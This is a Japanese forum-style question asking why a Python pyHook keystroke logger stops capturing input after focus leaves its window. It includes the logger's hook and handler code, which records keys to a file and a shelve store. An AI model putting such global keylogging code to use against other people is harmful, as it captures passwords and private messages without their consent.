私はキーストロークを記録しているプログラムを書いており、プログラムのボックスから離れてクリックするまではうまくいきます。私はブラウザのようなコルタナをクリックして入力を開始すると、いくつかのストロークを記録してから完全に停止しました。また、私はそれをデバッグする方法がわからないので、エラーをスローしませんでした。なぜpythoncom.pumpmessages()は機能しなくなるのですか?
def run(self):
hm = pyHook.HookManager()
hm.KeyDown = self.OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
def OnKeyboardEvent(self,event):
ch=chr(event.Ascii)
#print [ch]
if ch in '\x00\x08':
val='/*'+event.Key+'*/'
if (val!=self.prev or ch=='\x08') and 'Capital' not in val:
print val,
self.writetofile(str(val))
data=shelve.open('loggerinfo')
data['strokes']=data['strokes'].append(val)
data.close()
self.prev=val
else:
self.prev=ch
char=None
if ch=='\r':
char='/*return*/'
elif ch=='\t':
char='/*tab*/'
else:
char=ch
if char!=None:
print char,
self.writetofile(str(char))
data=shelve.open('loggerinfo')
data['strokes']=data['strokes'].append(char)
data.close()
return True
エラーが発生しないため、問題がどのようなものかわかりません。